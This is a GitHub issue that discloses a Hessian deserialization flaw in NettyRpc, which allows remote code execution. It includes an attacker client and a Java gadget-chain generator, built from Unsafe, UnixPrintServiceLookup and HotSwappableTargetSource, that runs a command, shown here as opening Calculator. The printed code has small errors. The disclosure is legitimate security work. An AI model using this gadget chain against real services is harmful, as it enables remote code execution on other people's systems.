Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

HessianSerializer and Hessian1Serializer Deserialization Vulnerability in NettyRpc #55

Open
LQxdu opened this issue Jul 18, 2024 · 0 comments

Comments

@LQxdu
Copy link

LQxdu commented Jul 18, 2024

Problem Statement

NettyRPC supports the utilization of the HessianSerializer and Hessian1Serializer protocol within its RPC communication framework. We discovered that attackers can achieve Remote Code Execution(RCE) attacks by sending meticulously crafted serialized data to the service port utilizing these two protocols.

Reproduce

Environment

  • JDK 8u_361
  • NettyPRC 1.2

Provider Side

We use the build-in module "netty-rpc-test" of the project to set up the environment for the attack reproduce.
(1) Run Zookeeper
(2) Start server
截屏2024-07-18 23 41 48

Attacker Side

run the RpcTest.main

public class RpcTest {

    public static void main(String[] args) throws InterruptedException {
        final RpcClient rpcClient = new RpcClient("127.0.0.1:2181");

        int threadNum = 1;
        final int requestNum = 50;
        Thread[] threads = new Thread[threadNum];

        long startTime = System.currentTimeMillis();
        //benchmark for sync call
        for (int i = 0; i < threadNum; ++i) {
            threads[i] = new Thread(new Runnable() {
                @Override
                public void run() {
                    for (int i = 0; i < requestNum; i++) {
                        try {
                            final HelloService syncClient = rpcClient.createService(HelloService.class, "1.0");
                            String result = syncClient.test(EvilObjGenerator.getEvil());
                            if (!result.equals("Hello " + i)) {
                                System.out.println("error = " + result);
                            } else {
                                System.out.println("result = " + result);
                            }
                            try {
                                Thread.sleep(5 * 1000);
                            } catch (InterruptedException e) {
                                e.printStackTrace();
                            }
                        } catch (Exception ex) {
                            System.out.println(ex.toString());
                        }
                    }
                }
            });
            threads[i].start();
        }
        for (int i = 0; i < threads.length; i++) {
            threads[i].join();
        }
        long timeCost = (System.currentTimeMillis() - startTime);
        String msg = String.format("Sync call total-time-cost:%sms, req/s=%s", timeCost, ((double) (requestNum * threadNum)) / timeCost * 1000);
        System.out.println(msg);

        rpcClient.stop();
    }
}

The injection object: EvilObjGenerator.getEvil()

public class EvilObjGenerator {
    public static String exeCMD = "open /System/Applications/Calculator.app";
    public static Object getEvil() throws Exception {
        Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
        theUnsafe.setAccessible(true);
        Unsafe unsafe = (Unsafe) theUnsafe.get(null);
        Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);

        setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
        setFieldValue(unixPrintServiceLookup, "osname", "xx");
        setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});

        JSONObject jsonObject = new JSONObject();
        jsonObject.put("xx", unixPrintServiceLookup);


        return makeToString(jsonObject);
    }

    public static Object makeToString(Object obj) throws Exception {
        Object type = Reflections.createWithObjectNoArgsConstructor(Class.forName("javax.sound.sampled.AudioFileFormat$Type"));
        HotSwappableTargetSource hotSwappableTargetSource1 = new HotSwappableTargetSource(obj);
        HotSwappableTargetSource hotSwappableTargetSource2 = new HotSwappableTargetSource(type);

        returnmakeMap(hotSwappableTargetSource1, hotSwappableTargetSource2);
    }

    public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
            IllegalAccessException, InvocationTargetException {
        HashMap s = new HashMap();
        Reflections.setFieldValue(s, "size", 2);
        Class nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        Reflections.setAccessible(nodeCons);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        Reflections.setFieldValue(s, "table", tbl);
        return s;
    }
}

Attack Impact

Remote Command Execution (RCE), in this attack test, manifests as the invocation of the calculator application.
截屏2024-07-19 01 04 49

截屏2024-07-19 01 03 50

The injection object can be used to exploit Hessian1Serializer as well.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant